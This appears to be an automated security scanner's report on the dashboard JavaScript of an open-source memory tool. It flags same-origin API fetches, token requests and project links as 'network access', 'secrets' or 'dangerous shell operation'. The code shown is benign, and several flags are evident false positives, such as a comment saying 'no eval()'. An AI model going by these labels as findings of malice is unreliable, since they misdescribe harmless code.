fetch('/api/adapters') - Network accessline 190
fetch('/api/adapters/' + action, { - Network accessline 233
save.addEventListener('click', function () { save.disabled = true; fetch('/api/adapters/configure', { method:'POST', headers:{'Content-Type':'application/json'}, - Network accessline 234
save.disabled = true; fetch('/api/adapters/configure', { method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({name:name, path:field.value}) }) - Network accessline 235
fetch('/api/adapters/configure', { method:'POST', headers:{'Content-Type':'application/json'},
src/superlocalmemory/ui/js/ng-mesh.js
- Executable scriptline 1
Executable file - Network accessline 22
function fetchTokenFromServer() { return fetch('/internal/token', { credentials: 'same-origin' }) - Network accessline 23
return fetch('/internal/token', { credentials: 'same-origin' }) - Network accessline 42
[Credential-related source omitted] - Network accessline 43
[Credential-related source omitted] - Network accessline 44
return fetch(url, opts).then(function(r) { - Network accessline 48
[Credential-related source omitted] - Network accessline 49
: {}; return fetch(url, retryOpts); }); - Network accessline 50
return fetch(url, retryOpts);
src/superlocalmemory/ui/js/ng-shell.js
- Executable scriptline 1
Executable file - Network accessline 158
'<i class="bi bi-eye-slash" id="ng-privacy-icon"></i>' + '</button>' + '<a href="https://github.com/qualixar/superlocalmemory" target="_blank" class="ng-btn" title="Star on GitHub" style="flex:1;justify-content:center">' + - Network accessline 159
'</button>' + '<a href="https://github.com/qualixar/superlocalmemory" target="_blank" class="ng-btn" title="Star on GitHub" style="flex:1;justify-content:center">' + '<i class="bi bi-github"></i>' + - Network accessline 160
'<a href="https://github.com/qualixar/superlocalmemory" target="_blank" class="ng-btn" title="Star on GitHub" style="flex:1;justify-content:center">' + - Network accessline 250
fetch('/health', { credentials: 'same-origin' })
src/superlocalmemory/ui/js/ng-skills.js
- Executable scriptline 1
Executable file - Network accessline 21
fetch('/api/evolution/status') - Network accessline 111
window.enableEvolution = function() { fetch('/api/evolution/enable', { method: 'POST' }) - Network accessline 112
fetch('/api/evolution/enable', { method: 'POST' }) - Network accessline 124
window.triggerEvolution = function() { fetch('/api/evolution/run', { method: 'POST' }) - Network accessline 125
fetch('/api/evolution/run', { method: 'POST' }) - Network accessline 142
var mx = g('evo-max-cycle'); if (mx) body.max_evolutions_per_cycle = parseInt(mx, 10); fetch('/api/evolution/config', { - Network accessline 143
if (mx) body.max_evolutions_per_cycle = parseInt(mx, 10); fetch('/api/evolution/config', { method: 'POST', - Network accessline 144
fetch('/api/evolution/config', { - Network accessline 170
'The <code>/api/v3/tool-event</code> endpoint accepts events from any IDE client. ' + 'Enhanced observation support available with ' + '<a href="https://github.com/affaan-m/everything-claude-code" target="_blank" style=" - Network accessline 171
'Enhanced observation support available with ' + '<a href="https://github.com/affaan-m/everything-claude-code" target="_blank" style="color:#8b5cf6">Everything Claude Code (ECC)</a> ' + 'via <code>slm ingest --source ecc - Network accessline 172
'<a href="https://github.com/affaan-m/everything-claude-code" target="_blank" style="color:#8b5cf6">Everything Claude Code (ECC)</a> ' + - Network accessline 174
'</div>' + '<div style="font-size:0.75rem;color:var(--bs-secondary-color);margin-top:8px">' + '<a href="https://superlocalmemory.com/skill-evolution" target="_blank" style="color:#8b5cf6;margin-right:12px"><i class="bi bi- - Network accessline 175
'<div style="font-size:0.75rem;color:var(--bs-secondary-color);margin-top:8px">' + '<a href="https://superlocalmemory.com/skill-evolution" target="_blank" style="color:#8b5cf6;margin-right:12px"><i class="bi bi-globe"></i> Learn m - Network accessline 176
'<a href="https://superlocalmemory.com/skill-evolution" target="_blank" style="color:#8b5cf6;margin-right:12px"><i class="bi bi-globe"></i> Learn more</a>' + - Network accessline 177
'<a href="https://github.com/qualixar/superlocalmemory/blob/main/docs/skill-evolution.md" target="_blank" style="color:#8b5cf6"><i class="bi bi-book"></i> Documentation</a>' + - Network accessline 184
Promise.all([ fetch('/api/behavioral/tool-events?tool_name=Skill&limit=500').then(function(r) { return r.json(); }), - Network accessline 185
fetch('/api/behavioral/tool-events?tool_name=Skill&limit=500').then(function(r) { return r.json(); }), - Network accessline 186
fetch('/api/behavioral/assertions?category=skill_performance&limit=50').then(function(r) { return r.json(); }), - Network accessline 187
fetch('/api/behavioral/assertions?category=skill_correlation&limit=20').then(function(r) { return r.json(); }), - Network accessline 217
Promise.all([ fetch('/api/behavioral/assertions?category=skill_performance&limit=50').then(function(r) { return r.json(); }), - Network accessline 218
fetch('/api/behavioral/assertions?category=skill_performance&limit=50').then(function(r) { return r.json(); }), - Network accessline 219
fetch('/api/behavioral/assertions?category=skill_correlation&limit=20').then(function(r) { return r.json(); }), - Network accessline 220
fetch('/api/behavioral/tool-events?tool_name=Skill&limit=500').then(function(r) { return r.json(); }), - Network accessline 384
fetch('/api/evolution/lineage') - Network accessline 514
var svg = '<svg xmlns="http://www.w3.org/2000/svg" width="' + svgW + '" height="' + svgH + '" ' +
src/superlocalmemory/ui/js/od-agents.js
src/superlocalmemory/ui/js/od-answercheck-tryit.js
- Network accessline 1
// Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar // Licensed under AGPL-3.0-or-later - see LICENSE file // Part of SuperLocalMemory | https://qualixar.com - Executable scriptline 1
Executable file - Network accessline 2
// Licensed under AGPL-3.0-or-later - see LICENSE file // Part of SuperLocalMemory | https://qualixar.com // - Network accessline 3
// Part of SuperLocalMemory | https://qualixar.com - Network accessline 267
message(found, 'Searching…'); message(verdict, 'Checking…'); fetch('/api/v3/recall/trace', { - Network accessline 268
message(verdict, 'Checking…'); fetch('/api/v3/recall/trace', { method: 'POST', credentials: 'same-origin', - Network accessline 269
fetch('/api/v3/recall/trace', {
src/superlocalmemory/ui/js/od-answercheck.js
- Network accessline 1
// Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar // Licensed under AGPL-3.0-or-later - see LICENSE file // Part of SuperLocalMemory | https://qualixar.com - Executable scriptline 1
Executable file - Network accessline 2
// Licensed under AGPL-3.0-or-later - see LICENSE file // Part of SuperLocalMemory | https://qualixar.com // - Network accessline 3
// Part of SuperLocalMemory | https://qualixar.com - Network accessline 104
function getJSON(url, init) { return fetch(url, Object.assign({ credentials: 'same-origin' }, init || {})).then(function (res) { - Network accessline 105
return fetch(url, Object.assign({ credentials: 'same-origin' }, init || {})).then(function (res) { - Network accessline 223
? 'of ' + ab.n + ' checked answers' + (ab.ci95 ? ' · 95% range ' + pct(ab.ci95[0]) + '–' + pct(ab.ci95[1]) : '') : 'Not enough checks yet (' + (ab.n || 0) + ' of ' + (ab.min_sample || 20) + ' needed)'; var nc = counts.not_checked - Network accessline 224
: 'Not enough checks yet (' + (ab.n || 0) + ' of ' + (ab.min_sample || 20) + ' needed)'; var nc = counts.not_checked || {}; var ncTotal = Object.keys(nc).reduce(function (a, k) { return a + (nc[k] || 0); }, 0); - Network accessline 225
var nc = counts.not_checked || {};
src/superlocalmemory/ui/js/od-apps-list.js
- Executable scriptline 1
Executable file
src/superlocalmemory/ui/js/od-apps-ui.js
src/superlocalmemory/ui/js/od-apps.js
- Executable scriptline 1
Executable file
src/superlocalmemory/ui/js/od-auth-gate.js
- Executable scriptline 1
Executable file - Network accessline 124
init.body = JSON.stringify(body); } return fetch(url, init).then(function (r) { - Network accessline 125
} return fetch(url, init).then(function (r) { return r.json().catch(function () { return {}; }).then(function (d) { - Network accessline 126
return fetch(url, init).then(function (r) {
src/superlocalmemory/ui/js/od-backup-encryption.js
src/superlocalmemory/ui/js/od-backup-layout.js
- Executable scriptline 1
Executable file
src/superlocalmemory/ui/js/od-backup-recovery.js
- Executable scriptline 1
Executable file - Network accessline 49
} function outcome(root) { fetch('/api/backup/recovery/status', {credentials:'same-origin'}).then(function (r) { - Network accessline 50
function outcome(root) { fetch('/api/backup/recovery/status', {credentials:'same-origin'}).then(function (r) { if (!r.ok) return null; return r.json(); - Network accessline 51
fetch('/api/backup/recovery/status', {credentials:'same-origin'}).then(function (r) {
src/superlocalmemory/ui/js/od-backup.js
- Executable scriptline 1
Executable file - Network accessline 29
if (forceRefresh) tokenPromise = null; if (!tokenPromise) { tokenPromise = fetch('/internal/token', { credentials:'same-origin' }) - Network accessline 30
if (!tokenPromise) { tokenPromise = fetch('/internal/token', { credentials:'same-origin' }) .then(function (response) { - Network accessline 31
tokenPromise = fetch('/internal/token', { credentials:'same-origin' }) - Network accessline 52
function send(forceRefresh) { return getToken(forceRefresh).then(function (token) { return fetch(url, { - Network accessline 53
return getToken(forceRefresh).then(function (token) { return fetch(url, { method: method, - Network accessline 54
return fetch(url, { - Network accessline 260
function loadStatus(root) { if (window.SLMBackupRecovery) window.SLMBackupRecovery.outcome(root); fetch('/api/backup/status').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 261
if (window.SLMBackupRecovery) window.SLMBackupRecovery.outcome(root); fetch('/api/backup/status').then(function (r) { return r.ok ? r.json() : null; }) .then(function (d) { - Network accessline 262
fetch('/api/backup/status').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 337
function loadDestinations(root, forceReload) { fetch('/api/backup/destinations').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 338
fetch('/api/backup/destinations').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 350
function loadList(root) { fetch('/api/backup/recovery/list').then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 351
fetch('/api/backup/recovery/list').then(function (r) { return r.ok ? r.json() : null; })
src/superlocalmemory/ui/js/od-botmessages.js
- Executable scriptline 1
Executable file
src/superlocalmemory/ui/js/od-boundedloops.js
- Network accessline 1
// Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar // Licensed under AGPL-3.0-or-later - see LICENSE file // Part of SuperLocalMemory | https://qualixar.com - Executable scriptline 1
Executable file - Network accessline 2
// Licensed under AGPL-3.0-or-later - see LICENSE file // Part of SuperLocalMemory | https://qualixar.com // - Network accessline 3
// Part of SuperLocalMemory | https://qualixar.com - Network accessline 213
fetch('/internal/token', { credentials: 'same-origin' }) - Network accessline 216
.then(function (t) { var tok = t && (t.token || t.install_token); return fetch('/api/v3/bounded-loops/evidence', { - Network accessline 217
var tok = t && (t.token || t.install_token); return fetch('/api/v3/bounded-loops/evidence', { credentials: 'same-origin', - Network accessline 218
return fetch('/api/v3/bounded-loops/evidence', {
src/superlocalmemory/ui/js/od-brain.js
- Executable scriptline 1
Executable file - Dangerous shell operationline 16
// CSP-safe: no eval(), no innerHTML for API data, no inline event handlers. - Network accessline 27
function apiFetch(path) { return fetch(path, { credentials: 'same-origin' }) - Network accessline 28
return fetch(path, { credentials: 'same-origin' }) - Network accessline 41
? tokenBody.token.trim() : ''; if (!token) throw new Error('/internal/token → missing token'); return fetch('/api/v3/brain', { - Network accessline 42
if (!token) throw new Error('/internal/token → missing token'); return fetch('/api/v3/brain', { credentials: 'same-origin', - Network accessline 43
return fetch('/api/v3/brain', { - Dangerous shell operationline 575
var rm = EL('div', {
src/superlocalmemory/ui/js/od-compliance-ext.js
- Executable scriptline 1
Executable file - Network accessline 99
btn.textContent = 'Erasing…'; if (summary) summary.textContent = 'Erasing entity "' + esc(entityName) + '"…'; fetch('/api/compliance/gdpr/erase-entity', { - Network accessline 100
if (summary) summary.textContent = 'Erasing entity "' + esc(entityName) + '"…'; fetch('/api/compliance/gdpr/erase-entity', { method: 'POST', - Network accessline 101
fetch('/api/compliance/gdpr/erase-entity', { - Network accessline 171
if (!tbody) return; tbody.innerHTML = '<tr><td colspan="7" class="muted-info" style="text-align:center;padding:16px">Loading…</td></tr>'; fetch('/api/compliance/receipts?limit=50') - Network accessline 172
tbody.innerHTML = '<tr><td colspan="7" class="muted-info" style="text-align:center;padding:16px">Loading…</td></tr>'; fetch('/api/compliance/receipts?limit=50') .then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 173
fetch('/api/compliance/receipts?limit=50') - Network accessline 207
btn.disabled = true; btn.textContent = '…'; fetch('/api/compliance/receipts/' + encodeURIComponent(eid) + '/verify') - Network accessline 208
btn.textContent = '…'; fetch('/api/compliance/receipts/' + encodeURIComponent(eid) + '/verify') .then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 209
fetch('/api/compliance/receipts/' + encodeURIComponent(eid) + '/verify')
src/superlocalmemory/ui/js/od-components.js
- Executable scriptline 1
Executable file - Network accessline 108
if (!el) return; el.innerHTML = '<p class="muted" style="padding:8px 0">Checking components…</p>'; fetch('/api/v3/components') - Network accessline 109
el.innerHTML = '<p class="muted" style="padding:8px 0">Checking components…</p>'; fetch('/api/v3/components') .then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 110
fetch('/api/v3/components') - Network accessline 128
function doRetry(el, btn) { btn.disabled = true; btn.textContent = 'Repairing…'; fetch('/api/v3/components/heal', { method: 'POST', credentials: 'same-origin' }) - Network accessline 129
btn.disabled = true; btn.textContent = 'Repairing…'; fetch('/api/v3/components/heal', { method: 'POST', credentials: 'same-origin' }) .then(function () { - Network accessline 130
fetch('/api/v3/components/heal', { method: 'POST', credentials: 'same-origin' })
src/superlocalmemory/ui/js/od-connections.js
- Executable scriptline 1
Executable file - Network accessline 20
(function () { 'use strict'; var MCP_URL = 'https://mcp.superlocalmemory.com/mcp'; - Network accessline 21
'use strict'; var MCP_URL = 'https://mcp.superlocalmemory.com/mcp'; var OAUTH_URL = 'https://auth.superlocalmemory.com/.well-known/oauth-authorization-server'; - Network accessline 22
var MCP_URL = 'https://mcp.superlocalmemory.com/mcp'; - Network accessline 23
var OAUTH_URL = 'https://auth.superlocalmemory.com/.well-known/oauth-authorization-server'; - Network accessline 469
} if (connection.state === 'pending' && connection.sign_in_state === 'required' && CONNECTION_ID.test(connection.connection_id)) { var continuation = safeSignIn('https://auth.superlocalmemory.com/owner-login?connection - Network accessline 470
if (connection.state === 'pending' && connection.sign_in_state === 'required' && CONNECTION_ID.test(connection.connection_id)) { var continuation = safeSignIn('https://auth.superlocalmemory.com/owner-login?connection_id=' + conn - Network accessline 471
var continuation = safeSignIn('https://auth.superlocalmemory.com/owner-login?connection_id=' + connection.connection_id, connection.connection_id);
src/superlocalmemory/ui/js/od-daemon-controls.js
- Executable scriptline 1
Executable file - Network accessline 32
function requestAction(action) { var previous = null; var baseline = action === 'restart' ? fetch('/health', { cache: 'no-store' }).then(function (response) { - Network accessline 33
var previous = null; var baseline = action === 'restart' ? fetch('/health', { cache: 'no-store' }).then(function (response) { if (!response.ok) throw new Error('Health unavailable'); - Network accessline 34
var baseline = action === 'restart' ? fetch('/health', { cache: 'no-store' }).then(function (response) { - Network accessline 39
previous = data.instance_id; }) : Promise.resolve(); return baseline.then(function () { return fetch('/api/daemon/' + action, { method: 'POST', timeoutMs: 50000 }); }) - Network accessline 40
}) : Promise.resolve(); return baseline.then(function () { return fetch('/api/daemon/' + action, { method: 'POST', timeoutMs: 50000 }); }) .then(function (response) { - Network accessline 41
return baseline.then(function () { return fetch('/api/daemon/' + action, { method: 'POST', timeoutMs: 50000 }); }) - Network accessline 55
} function poll() { fetch('/health', { cache: 'no-store', timeoutMs: 2000 }).then(function (response) { return response.ok ? response.json() : null; }).then(function (data) { - Network accessline 56
function poll() { fetch('/health', { cache: 'no-store', timeoutMs: 2000 }).then(function (response) { return response.ok ? response.json() : null; }).then(function (data) { if (data && data.instance_id && data.instance_id - Network accessline 57
fetch('/health', { cache: 'no-store', timeoutMs: 2000 }).then(function (response) { return response.ok ? response.json() : null; }).then(function (data) {
src/superlocalmemory/ui/js/od-daily.js
- Executable scriptline 1
Executable file - Network accessline 68
function search(query, ask, verdict, answer, sources) { ask.disabled = true; verdict.textContent = 'Searching and checking…'; answer.textContent = ''; sources.textContent = ''; fetch('/api/v3/recall/trace', { method:'POST', credenti - Network accessline 69
ask.disabled = true; verdict.textContent = 'Searching and checking…'; answer.textContent = ''; sources.textContent = ''; fetch('/api/v3/recall/trace', { method:'POST', credentials:'same-origin', headers:{'Content-Type':'applicatio - Network accessline 70
fetch('/api/v3/recall/trace', { method:'POST', credentials:'same-origin', - Network accessline 88
function loadWork(out) { out.textContent = 'Reading recorded background work…'; fetch('/api/dashboard/background', {credentials:'same-origin'}) - Network accessline 89
out.textContent = 'Reading recorded background work…'; fetch('/api/dashboard/background', {credentials:'same-origin'}) .then(function (r) { if (!r.ok) throw new Error('Background work could not be read. Retry.'); return r.json(); - Network accessline 90
fetch('/api/dashboard/background', {credentials:'same-origin'})
src/superlocalmemory/ui/js/od-dash-home.js
- Executable scriptline 1
Executable file - Network accessline 23
var ctl = (typeof AbortController === 'function') ? new AbortController() : null; var timer = ctl ? setTimeout(function () { ctl.abort(); }, TIMEOUT_MS) : null; return fetch(url, { credentials: 'same-origin', signal: ctl ? ctl.signa - Network accessline 24
var timer = ctl ? setTimeout(function () { ctl.abort(); }, TIMEOUT_MS) : null; return fetch(url, { credentials: 'same-origin', signal: ctl ? ctl.signal : undefined }) .then(function (r) { - Network accessline 25
return fetch(url, { credentials: 'same-origin', signal: ctl ? ctl.signal : undefined })
src/superlocalmemory/ui/js/od-decay-preview.js
- Executable scriptline 1
Executable file
src/superlocalmemory/ui/js/od-engine-upgrade.js
src/superlocalmemory/ui/js/od-entities.js
- Executable scriptline 1
Executable file - Network accessline 10
// nosemgrep: innerHTML — all dynamic values escaped via _esc() // // Endpoints verified against live daemon at http://127.0.0.1:8765 - Network accessline 11
// // Endpoints verified against live daemon at http://127.0.0.1:8765 // GET /api/entity/list?limit=N&offset=N - Network accessline 12
// Endpoints verified against live daemon at http://127.0.0.1:8765 - Network accessline 247
fetch(url) - Network accessline 352
fetch('/api/entity/' + encodeURIComponent(name)) - Network accessline 542
btn.textContent = 'Recompiling…'; if (statusEl) { statusEl.textContent = ''; } fetch('/api/entity/' + encodeURIComponent(name) + '/recompile', { method: 'POST' }) - Network accessline 543
if (statusEl) { statusEl.textContent = ''; } fetch('/api/entity/' + encodeURIComponent(name) + '/recompile', { method: 'POST' }) .then(function (r) { return r.json(); }) - Network accessline 544
fetch('/api/entity/' + encodeURIComponent(name) + '/recompile', { method: 'POST' })
src/superlocalmemory/ui/js/od-features.js
- Executable scriptline 1
Executable file - Network accessline 33
init.body = JSON.stringify(body); } return fetch(url, init).then(function (r) { - Network accessline 34
} return fetch(url, init).then(function (r) { return r.json().catch(function () { return {}; }).then(function (data) { - Network accessline 35
return fetch(url, init).then(function (r) {
src/superlocalmemory/ui/js/od-graph.js
- Executable scriptline 1
Executable file - Network accessline 570
push('q', esc(query)); var t = push('a', '<span class="typing"><i></i><i></i><i></i></span>'); fetch(RECALL_URL, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ query: query, limit: 5 }) }) - Network accessline 571
var t = push('a', '<span class="typing"><i></i><i></i><i></i></span>'); fetch(RECALL_URL, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ query: query, limit: 5 }) }) .then(function (r) { - Network accessline 572
fetch(RECALL_URL, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ query: query, limit: 5 }) }) - Network accessline 750
var entityUrl = '/api/entity/list?limit=' + entityLimit; Promise.all([ fetch(url).then(function (r) { if (!r.ok) throw new Error('graph ' + r.status); return r.json(); }), - Network accessline 751
Promise.all([ fetch(url).then(function (r) { if (!r.ok) throw new Error('graph ' + r.status); return r.json(); }), fetch(entityUrl).then(function (r) { return r.ok ? r.json() : { entities: [] }; }).catch(function () { return { e - Network accessline 752
fetch(url).then(function (r) { if (!r.ok) throw new Error('graph ' + r.status); return r.json(); }), - Network accessline 753
fetch(entityUrl).then(function (r) { return r.ok ? r.json() : { entities: [] }; }).catch(function () { return { entities: [] }; })
src/superlocalmemory/ui/js/od-health.js
- Executable scriptline 1
Executable file - Network accessline 2
// Renders into window.odRenderHealth(container). // // Endpoints (confirmed with curl against daemon :8765): - Network accessline 3
// // Endpoints (confirmed with curl against daemon :8765): // GET /health → {status, version, pid, state, readiness} - Network accessline 4
// Endpoints (confirmed with curl against daemon :8765): - Network accessline 559
Promise.all([ fetch('/health').then(function (r) { return r.ok ? r.json() : null; }).catch(function () { return null; }), - Network accessline 560
fetch('/health').then(function (r) { return r.ok ? r.json() : null; }).catch(function () { return null; }), - Network accessline 561
fetch('/api/stats').then(function (r) { return r.ok ? r.json() : null; }).catch(function () { return null; }), - Network accessline 562
fetch('/api/v3/math/health').then(function (r) { return r.ok ? r.json() : null; }).catch(function () { return null; }), - Network accessline 563
fetch('/api/v3/local-apps').then(function (r) { return r.ok ? r.json() : null; }).catch(function () { return null; }), - Network accessline 564
fetch('/api/trust/stats').then(function (r) { return r.ok ? r.json() : null; }).catch(function () { return null; }), - Network accessline 565
fetch('/api/events/stats').then(function (r) { return r.ok ? r.json() : null; }).catch(function () { return null; }), - Network accessline 566
fetch('/api/learning/readiness').then(function (r) { return r.ok ? r.json() : null; }).catch(function () { return null; }),
src/superlocalmemory/ui/js/od-help.js
- Executable scriptline 1
Executable file - Network accessline 14
var DOCS = 'https://github.com/qualixar/superlocalmemory/blob/main/docs/'; - Network accessline 15
var REPO = 'https://github.com/qualixar/superlocalmemory'; - Access to secretsline 54
[Credential-related source omitted] - Network accessline 202
body.appendChild(el('h4', null, 'Read more')); var links = el('ul', 'help-links'); [['Website', 'https://www.superlocalmemory.com'], - Network accessline 203
var links = el('ul', 'help-links'); [['Website', 'https://www.superlocalmemory.com'], ['Docs folder on GitHub', REPO + '/tree/main/docs'], - Network accessline 204
[['Website', 'https://www.superlocalmemory.com'],
src/superlocalmemory/ui/js/od-local-apps.js
src/superlocalmemory/ui/js/od-mcp.js
- Executable scriptline 1
Executable file - Dangerous shell operationline 21
// CSP-safe: no eval(), no on*= attributes, no innerHTML for API data. - Network accessline 435
var docsText = document.createTextNode('Full documentation: '); var docsLink = EL('a', { href: 'https://qualixar.com/docs/slm/mcp-profiles', - Network accessline 436
var docsLink = EL('a', { href: 'https://qualixar.com/docs/slm/mcp-profiles', target: '_blank', - Network accessline 437
href: 'https://qualixar.com/docs/slm/mcp-profiles',
src/superlocalmemory/ui/js/od-media-find.js
src/superlocalmemory/ui/js/od-media.js
- Executable scriptline 1
Executable file - Network accessline 71
var init = { method: 'POST', body: file, timeoutMs: UPLOAD_TIMEOUT_MS, headers: { 'Content-Type': file.type || 'application/octet-stream' } }; return fetch(url, init).then(function (r) { - Network accessline 72
headers: { 'Content-Type': file.type || 'application/octet-stream' } }; return fetch(url, init).then(function (r) { return r.json().catch(function () { return {}; }).then(function (data) { - Network accessline 73
return fetch(url, init).then(function (r) {
src/superlocalmemory/ui/js/od-memories.js
- Executable scriptline 1
Executable file - Network accessline 405
fetch('/api/memories/kind-counts') - Network accessline 466
fetch(url) - Network accessline 624
var wrap = document.getElementById(id + '-tbl-wrap'); if (wrap) wrap.innerHTML = _loading('Searching…'); fetch('/api/search', { method: 'POST', credentials: 'same-origin', - Network accessline 625
if (wrap) wrap.innerHTML = _loading('Searching…'); fetch('/api/search', { method: 'POST', credentials: 'same-origin', headers: { 'Content-Type': 'application/json' }, - Network accessline 626
fetch('/api/search', { method: 'POST', credentials: 'same-origin', - Network accessline 682
var link = document.querySelector('.nav-link[data-tab="memories-pane"]'); if (link) link.click(); fetch('/api/memories?limit=1&fact_id=' + encodeURIComponent(factId), { credentials: 'same-origin' }) - Network accessline 683
if (link) link.click(); fetch('/api/memories?limit=1&fact_id=' + encodeURIComponent(factId), { credentials: 'same-origin' }) .then(function (r) { if (!r.ok) throw new Error('HTTP ' + r.status); return r.json(); }) - Network accessline 684
fetch('/api/memories?limit=1&fact_id=' + encodeURIComponent(factId), { credentials: 'same-origin' })
src/superlocalmemory/ui/js/od-memory-drawer.js
- Executable scriptline 1
Executable file - Network accessline 151
var el = document.getElementById('od-drawer-facts'); if (!el) return; fetch('/api/memories/' + encodeURIComponent(memId) + '/facts') - Network accessline 152
if (!el) return; fetch('/api/memories/' + encodeURIComponent(memId) + '/facts') .then(function (r) { return r.json(); }) - Network accessline 153
fetch('/api/memories/' + encodeURIComponent(memId) + '/facts') - Network accessline 194
var host = document.getElementById('od-drawer-code'); if (!host || !factId) return; fetch('/api/facts/' + encodeURIComponent(factId)) - Network accessline 195
if (!host || !factId) return; fetch('/api/facts/' + encodeURIComponent(factId)) .then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 196
fetch('/api/facts/' + encodeURIComponent(factId))
src/superlocalmemory/ui/js/od-memory-events.js
- Executable scriptline 1
Executable file - Network accessline 140
_getMutToken().then(function (tok) { if (!tok) { showToast('Auth unavailable — reload the page'); return; } fetch('/api/memories/' + encodeURIComponent(smid) + '/scope', { - Network accessline 141
if (!tok) { showToast('Auth unavailable — reload the page'); return; } fetch('/api/memories/' + encodeURIComponent(smid) + '/scope', { method: 'PATCH', credentials: 'same-origin', - Network accessline 142
fetch('/api/memories/' + encodeURIComponent(smid) + '/scope', { - Network accessline 160
[Credential-related source omitted] - Network accessline 161
[Credential-related source omitted] - Network accessline 162
fetch('/api/memories/' + encodeURIComponent(mid), opts)
src/superlocalmemory/ui/js/od-memory-health.js
- Executable scriptline 1
Executable file
src/superlocalmemory/ui/js/od-memory-knowledge.js
- Executable scriptline 1
Executable file - Network accessline 19
fetch('/api/v3/timeline/?range=' + range + '&group_by=category&limit=1000') - Network accessline 114
Promise.all([ fetch('/api/v3/abstraction/consolidated?limit=24') - Network accessline 115
fetch('/api/v3/abstraction/consolidated?limit=24') - Network accessline 116
.then(function (r) { return r.ok ? r.json() : { summaries: [], unusable: 0 }; }) .catch(function () { return { summaries: [], unusable: 0 }; }), fetch('/api/v3/abstraction/health') - Network accessline 117
.catch(function () { return { summaries: [], unusable: 0 }; }), fetch('/api/v3/abstraction/health') .then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 118
fetch('/api/v3/abstraction/health') - Network accessline 270
var grid = document.getElementById(id + '-clu-grid'); if (!grid) return; fetch('/api/dashboard/clusters?limit=25&offset=' + offset) - Network accessline 271
if (!grid) return; fetch('/api/dashboard/clusters?limit=25&offset=' + offset) .then(function (r) { - Network accessline 272
fetch('/api/dashboard/clusters?limit=25&offset=' + offset) - Network accessline 333
detEl.dataset.loaded = '1'; detEl.textContent = 'Loading members…'; fetch('/api/clusters/' + encodeURIComponent(cid) + '?limit=5') - Network accessline 334
detEl.textContent = 'Loading members…'; fetch('/api/clusters/' + encodeURIComponent(cid) + '?limit=5') .then(function (r) { return r.json(); }) - Network accessline 335
fetch('/api/clusters/' + encodeURIComponent(cid) + '?limit=5')
src/superlocalmemory/ui/js/od-mesh.js
- Executable scriptline 1
Executable file - Network accessline 37
function fetchTokenFromServer() { return fetch('/internal/token', { credentials: 'same-origin' }) - Network accessline 38
return fetch('/internal/token', { credentials: 'same-origin' }) - Network accessline 57
[Credential-related source omitted] - Network accessline 58
} return fetch(url, base).then(function (r) { if (r.status !== 401) return r; - Network accessline 59
return fetch(url, base).then(function (r) { - Network accessline 64
[Credential-related source omitted] - Network accessline 65
} return fetch(url, retry); }); - Network accessline 66
return fetch(url, retry);
src/superlocalmemory/ui/js/od-operations-compliance.js
- Executable scriptline 1
Executable file - Network accessline 139
var url = '/api/compliance/audit?limit=100'; if (eventType && eventType !== 'all') url += '&event_type=' + encodeURIComponent(eventType); fetch(url) - Network accessline 140
if (eventType && eventType !== 'all') url += '&event_type=' + encodeURIComponent(eventType); fetch(url) .then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 141
fetch(url) - Network accessline 245
if (!confirmed) return; btn.disabled = true; fetch('/api/compliance/retention-policy?name=' + encodeURIComponent(policyName), { - Network accessline 246
btn.disabled = true; fetch('/api/compliance/retention-policy?name=' + encodeURIComponent(policyName), { method: 'DELETE', - Network accessline 247
fetch('/api/compliance/retention-policy?name=' + encodeURIComponent(policyName), { - Network accessline 311
runBtn.addEventListener('click', function () { runBtn.disabled = true; runBtn.textContent = 'Running…'; fetch('/api/compliance/retention/enforce', { - Network accessline 312
runBtn.disabled = true; runBtn.textContent = 'Running…'; fetch('/api/compliance/retention/enforce', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}', - Network accessline 313
fetch('/api/compliance/retention/enforce', { - Network accessline 340
var profile = 'default'; try { var s = await fetch('/status', { cache: 'no-store' }).then(function (r) { return r.json(); }); - Network accessline 341
try { var s = await fetch('/status', { cache: 'no-store' }).then(function (r) { return r.json(); }); profile = s.profile || s.active_profile || 'default'; - Network accessline 342
var s = await fetch('/status', { cache: 'no-store' }).then(function (r) { return r.json(); }); - Network accessline 355
} eraseBtn.disabled = true; eraseBtn.textContent = 'Erasing…'; fetch('/api/compliance/gdpr/erase', { - Network accessline 356
eraseBtn.disabled = true; eraseBtn.textContent = 'Erasing…'; fetch('/api/compliance/gdpr/erase', { method: 'POST', headers: { 'Content-Type': 'application/json' }, - Network accessline 357
fetch('/api/compliance/gdpr/erase', { - Network accessline 442
createBtn.disabled = true; createBtn.textContent = 'Creating…'; errEl.textContent = ''; try { var r = await fetch('/api/compliance/retention-policy', { - Network accessline 443
try { var r = await fetch('/api/compliance/retention-policy', { method: 'POST', - Network accessline 444
var r = await fetch('/api/compliance/retention-policy', {
src/superlocalmemory/ui/js/od-operations-layout.js
- Executable scriptline 1
Executable file
src/superlocalmemory/ui/js/od-operations.js
- Executable scriptline 1
Executable file - Network accessline 2
// Renders into window.odRenderOperations(container). // // Endpoints (confirmed with curl against daemon :8765): - Network accessline 3
// // Endpoints (confirmed with curl against daemon :8765): // GET /api/lifecycle/status → {available, active_profile, total_memories, - Network accessline 4
// Endpoints (confirmed with curl against daemon :8765): - Network accessline 239
fetch('/api/lifecycle/compact', { - Network accessline 307
fetch('/api/lifecycle/compact', { - Network accessline 359
fetch('/api/daemon/restart', { - Network accessline 373
var poll = setInterval(function () { tries += 1; fetch('/health', { cache: 'no-store' }) - Network accessline 374
tries += 1; fetch('/health', { cache: 'no-store' }) .then(function (r) { return r.ok ? r.json() : null; }) - Network accessline 375
